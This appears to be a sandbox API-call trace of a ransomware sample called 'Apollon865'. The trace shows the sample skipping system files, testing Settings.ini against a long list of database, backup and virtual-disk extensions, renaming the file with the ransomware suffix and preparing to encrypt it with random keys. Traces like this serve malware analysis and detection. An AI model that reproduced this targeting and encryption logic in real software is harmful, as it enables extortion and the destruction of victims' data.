	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="Apollon865.txt.exe") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2=".") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="..") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="windows") returned -1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="bootmgr") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="temp") returned -1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="pagefile.sys") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="boot") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="ids.txt") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="ntuser.dat") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="perflogs") returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="MSBuild") returned 1
	[0054.625] lstrlenW (lpString="Settings.ini") returned 12
	[0054.625] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 64
	[0054.625] lstrcpyW (in: lpString1=0x119e67a, lpString2="Settings.ini" | out: lpString1="Settings.ini") returned="Settings.ini"
	[0054.625] lstrlenW (lpString="Settings.ini") returned 12
	[0054.625] lstrlenW (lpString="Apollon865") returned 10
	[0054.625] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0054.625] lstrlenW (lpString=".dll") returned 4
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2=".dll") returned 1
	[0054.626] lstrlenW (lpString=".lnk") returned 4
	[0054.626] lstrcmpiW (lpString1="Settings.ini", lpString2=".lnk") returned 1
	[0054.626] lstrlenW (lpString=".ini") returned 4
	[0054.626] lstrcmpiW (lpString1="Settings.ini", lpString2=".ini") returned 1
	[0054.626] lstrlenW (lpString=".sys") returned 4
	[0054.626] lstrcmpiW (lpString1="Settings.ini", lpString2=".sys") returned 1
	[0054.626] lstrlenW (lpString="Settings.ini") returned 12
	[0054.626] lstrlenW (lpString="bak") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0054.626] lstrlenW (lpString="ba_") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0054.626] lstrlenW (lpString="dbb") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0054.626] lstrlenW (lpString="vmdk") returned 4
	[0054.626] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0054.626] lstrlenW (lpString="rar") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0054.626] lstrlenW (lpString="zip") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0054.626] lstrlenW (lpString="tgz") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0054.626] lstrlenW (lpString="vbox") returned 4
	[0054.626] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0054.626] lstrlenW (lpString="vdi") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0054.626] lstrlenW (lpString="vhd") returned 3
	[0054.626] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0054.626] lstrlenW (lpString="vhdx") returned 4
	[0054.626] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0054.626] lstrlenW (lpString="avhd") returned 4
	[0054.626] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0054.626] lstrlenW (lpString="db") returned 2
	[0054.626] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0054.627] lstrlenW (lpString="db2") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0054.627] lstrlenW (lpString="db3") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0054.627] lstrlenW (lpString="dbf") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0054.627] lstrlenW (lpString="mdf") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0054.627] lstrlenW (lpString="mdb") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0054.627] lstrlenW (lpString="sql") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0054.627] lstrlenW (lpString="sqlite") returned 6
	[0054.627] lstrcmpiW (lpString1="gs.ini", lpString2="sqlite") returned -1
	[0054.627] lstrlenW (lpString="sqlite3") returned 7
	[0054.627] lstrcmpiW (lpString1="ngs.ini", lpString2="sqlite3") returned -1
	[0054.627] lstrlenW (lpString="sqlitedb") returned 8
	[0054.627] lstrcmpiW (lpString1="ings.ini", lpString2="sqlitedb") returned -1
	[0054.627] lstrlenW (lpString="xml") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0054.627] lstrlenW (lpString="$er") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0054.627] lstrlenW (lpString="4dd") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0054.627] lstrlenW (lpString="4dl") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0054.627] lstrlenW (lpString="^^^") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0054.627] lstrlenW (lpString="abs") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0054.627] lstrlenW (lpString="abx") returned 3
	[0054.627] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0054.627] lstrlenW (lpString="accdb") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1
	[0054.628] lstrlenW (lpString="accdc") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1
	[0054.628] lstrlenW (lpString="accde") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1
	[0054.628] lstrlenW (lpString="accdr") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1
	[0054.628] lstrlenW (lpString="accdt") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1
	[0054.628] lstrlenW (lpString="accdw") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1
	[0054.628] lstrlenW (lpString="accft") returned 5
	[0054.628] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1
	[0054.628] lstrlenW (lpString="adb") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0054.628] lstrlenW (lpString="adb") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0054.628] lstrlenW (lpString="ade") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0054.628] lstrlenW (lpString="adf") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0054.628] lstrlenW (lpString="adn") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0054.628] lstrlenW (lpString="adp") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0054.628] lstrlenW (lpString="alf") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0054.628] lstrlenW (lpString="ask") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0054.628] lstrlenW (lpString="btr") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0054.628] lstrlenW (lpString="cat") returned 3
	[0054.628] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0054.629] lstrlenW (lpString="cdb") returned 3
	[0054.629] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0054.629] lstrlenW (lpString="ckp") returned 3
	[0054.629] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0054.629] lstrlenW (lpString="cma") returned 3
	[0054.629] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0054.629] lstrlenW (lpString="cpd") returned 3
	[0054.629] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0054.629] lstrlenW (lpString="dacpac") returned 6
	[0054.629] lstrcmpiW (lpString1="gs.ini", lpString2="dacpac") returned 1
	[0054.629] lstrlenW (lpString="dad") returned 3
	[0054.629] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0054.629] lstrlenW (lpString="dadiagrams") returned 10
	[0054.629] lstrcmpiW (lpString1="ttings.ini", lpString2="dadiagrams") returned 1
	[0054.629] lstrlenW (lpString="daschema") returned 8
	[0054.629] lstrcmpiW (lpString1="ings.ini", lpString2="daschema") returned 1
	[0054.629] lstrlenW (lpString="db-journal") returned 10
	[0054.630] lstrcmpiW (lpString1="ttings.ini", lpString2="db-journal") returned 1
	[0054.630] lstrlenW (lpString="db-shm") returned 6
	[0054.630] lstrcmpiW (lpString1="gs.ini", lpString2="db-shm") returned 1
	[0054.630] lstrlenW (lpString="db-wal") returned 6
	[0054.630] lstrcmpiW (lpString1="gs.ini", lpString2="db-wal") returned 1
	[0054.630] lstrlenW (lpString="dbc") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0054.630] lstrlenW (lpString="dbs") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0054.630] lstrlenW (lpString="dbt") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0054.630] lstrlenW (lpString="dbv") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0054.630] lstrlenW (lpString="dbx") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0054.630] lstrlenW (lpString="dcb") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0054.630] lstrlenW (lpString="dct") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0054.630] lstrlenW (lpString="dcx") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0054.630] lstrlenW (lpString="ddl") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0054.630] lstrlenW (lpString="dlis") returned 4
	[0054.630] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0054.630] lstrlenW (lpString="dp1") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0054.630] lstrlenW (lpString="dqy") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0054.630] lstrlenW (lpString="dsk") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0054.630] lstrlenW (lpString="dsn") returned 3
	[0054.630] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0054.631] lstrlenW (lpString="dtsx") returned 4
	[0054.631] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0054.631] lstrlenW (lpString="dxl") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0054.631] lstrlenW (lpString="eco") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0054.631] lstrlenW (lpString="ecx") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0054.631] lstrlenW (lpString="edb") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0054.631] lstrlenW (lpString="epim") returned 4
	[0054.631] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0054.631] lstrlenW (lpString="fcd") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0054.631] lstrlenW (lpString="fdb") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0054.631] lstrlenW (lpString="fic") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0054.631] lstrlenW (lpString="flexolibrary") returned 12
	[0054.631] lstrlenW (lpString="fm5") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0054.631] lstrlenW (lpString="fmp") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0054.631] lstrlenW (lpString="fmp12") returned 5
	[0054.631] lstrcmpiW (lpString1="s.ini", lpString2="fmp12") returned 1
	[0054.631] lstrlenW (lpString="fmpsl") returned 5
	[0054.631] lstrcmpiW (lpString1="s.ini", lpString2="fmpsl") returned 1
	[0054.631] lstrlenW (lpString="fol") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0054.631] lstrlenW (lpString="fp3") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0054.631] lstrlenW (lpString="fp4") returned 3
	[0054.631] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0054.632] lstrlenW (lpString="fp5") returned 3
	[0054.632] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0054.632] lstrlenW (lpString="fp7") returned 3
	[0054.632] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0054.634] lstrlenW (lpString="fpt") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0054.634] lstrlenW (lpString="frm") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0054.634] lstrlenW (lpString="gdb") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0054.634] lstrlenW (lpString="gdb") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0054.634] lstrlenW (lpString="grdb") returned 4
	[0054.634] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0054.634] lstrlenW (lpString="gwi") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0054.634] lstrlenW (lpString="hdb") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0054.634] lstrlenW (lpString="his") returned 3
	[0054.634] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0054.634] lstrlenW (lpString="ib") returned 2
	[0054.635] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0054.635] lstrlenW (lpString="idb") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0054.635] lstrlenW (lpString="ihx") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0054.635] lstrlenW (lpString="itdb") returned 4
	[0054.635] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0054.635] lstrlenW (lpString="itw") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0054.635] lstrlenW (lpString="jet") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0054.635] lstrlenW (lpString="jtx") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0054.635] lstrlenW (lpString="kdb") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0054.635] lstrlenW (lpString="kexi") returned 4
	[0054.635] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0054.635] lstrlenW (lpString="kexic") returned 5
	[0054.635] lstrcmpiW (lpString1="s.ini", lpString2="kexic") returned 1
	[0054.635] lstrlenW (lpString="kexis") returned 5
	[0054.635] lstrcmpiW (lpString1="s.ini", lpString2="kexis") returned 1
	[0054.635] lstrlenW (lpString="lgc") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0054.635] lstrlenW (lpString="lwx") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0054.635] lstrlenW (lpString="maf") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0054.635] lstrlenW (lpString="maq") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0054.635] lstrlenW (lpString="mar") returned 3
	[0054.635] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0054.635] lstrlenW (lpString="marshal") returned 7
	[0054.635] lstrcmpiW (lpString1="ngs.ini", lpString2="marshal") returned 1
	[0054.636] lstrlenW (lpString="mas") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0054.636] lstrlenW (lpString="mav") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0054.636] lstrlenW (lpString="maw") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0054.636] lstrlenW (lpString="mdbhtml") returned 7
	[0054.636] lstrcmpiW (lpString1="ngs.ini", lpString2="mdbhtml") returned 1
	[0054.636] lstrlenW (lpString="mdn") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0054.636] lstrlenW (lpString="mdt") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0054.636] lstrlenW (lpString="mfd") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0054.636] lstrlenW (lpString="mpd") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0054.636] lstrlenW (lpString="mrg") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0054.636] lstrlenW (lpString="mud") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0054.636] lstrlenW (lpString="mwb") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0054.636] lstrlenW (lpString="myd") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0054.636] lstrlenW (lpString="ndf") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0054.636] lstrlenW (lpString="nnt") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0054.636] lstrlenW (lpString="nrmlib") returned 6
	[0054.636] lstrcmpiW (lpString1="gs.ini", lpString2="nrmlib") returned -1
	[0054.636] lstrlenW (lpString="ns2") returned 3
	[0054.636] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0054.636] lstrlenW (lpString="ns3") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0054.637] lstrlenW (lpString="ns4") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0054.637] lstrlenW (lpString="nsf") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0054.637] lstrlenW (lpString="nv") returned 2
	[0054.637] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0054.637] lstrlenW (lpString="nv2") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0054.637] lstrlenW (lpString="nwdb") returned 4
	[0054.637] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0054.637] lstrlenW (lpString="nyf") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0054.637] lstrlenW (lpString="odb") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0054.637] lstrlenW (lpString="odb") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0054.637] lstrlenW (lpString="oqy") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0054.637] lstrlenW (lpString="ora") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0054.637] lstrlenW (lpString="orx") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0054.637] lstrlenW (lpString="owc") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0054.637] lstrlenW (lpString="p96") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0054.637] lstrlenW (lpString="p97") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0054.637] lstrlenW (lpString="pan") returned 3
	[0054.637] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0054.637] lstrlenW (lpString="pdb") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0054.638] lstrlenW (lpString="pdm") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0054.638] lstrlenW (lpString="pnz") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0054.638] lstrlenW (lpString="qry") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0054.638] lstrlenW (lpString="qvd") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0054.638] lstrlenW (lpString="rbf") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0054.638] lstrlenW (lpString="rctd") returned 4
	[0054.638] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0054.638] lstrlenW (lpString="rod") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0054.638] lstrlenW (lpString="rodx") returned 4
	[0054.638] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0054.638] lstrlenW (lpString="rpd") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0054.638] lstrlenW (lpString="rsd") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0054.638] lstrlenW (lpString="sas7bdat") returned 8
	[0054.638] lstrcmpiW (lpString1="ings.ini", lpString2="sas7bdat") returned -1
	[0054.638] lstrlenW (lpString="sbf") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0054.638] lstrlenW (lpString="scx") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0054.638] lstrlenW (lpString="sdb") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0054.638] lstrlenW (lpString="sdc") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0054.638] lstrlenW (lpString="sdf") returned 3
	[0054.638] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0054.639] lstrlenW (lpString="sis") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0054.639] lstrlenW (lpString="spq") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0054.639] lstrlenW (lpString="te") returned 2
	[0054.639] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0054.639] lstrlenW (lpString="teacher") returned 7
	[0054.639] lstrcmpiW (lpString1="ngs.ini", lpString2="teacher") returned -1
	[0054.639] lstrlenW (lpString="tmd") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0054.639] lstrlenW (lpString="tps") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0054.639] lstrlenW (lpString="trc") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0054.639] lstrlenW (lpString="trc") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0054.639] lstrlenW (lpString="trm") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0054.639] lstrlenW (lpString="udb") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0054.639] lstrlenW (lpString="udl") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0054.639] lstrlenW (lpString="usr") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0054.639] lstrlenW (lpString="v12") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0054.639] lstrlenW (lpString="vis") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0054.639] lstrlenW (lpString="vpd") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0054.639] lstrlenW (lpString="vvv") returned 3
	[0054.639] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0054.639] lstrlenW (lpString="wdb") returned 3
	[0054.640] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0054.640] lstrlenW (lpString="wmdb") returned 4
	[0054.640] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0054.640] lstrlenW (lpString="wrk") returned 3
	[0054.640] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0054.640] lstrlenW (lpString="xdb") returned 3
	[0054.640] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0054.640] lstrlenW (lpString="xld") returned 3
	[0054.640] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0054.640] lstrlenW (lpString="xmlff") returned 5
	[0054.640] lstrcmpiW (lpString1="s.ini", lpString2="xmlff") returned -1
	[0054.640] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.Apollon865") returned 80
	[0054.640] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.apollon865"), dwFlags=0x1) returned 1
	[0054.651] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0054.651] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=84) returned 1
	[0054.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.651] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.652] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0054.652] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.652] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.652] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x15c
	[0054.659] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000
	[0054.678] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0054.679] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.679] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0054.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0054.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
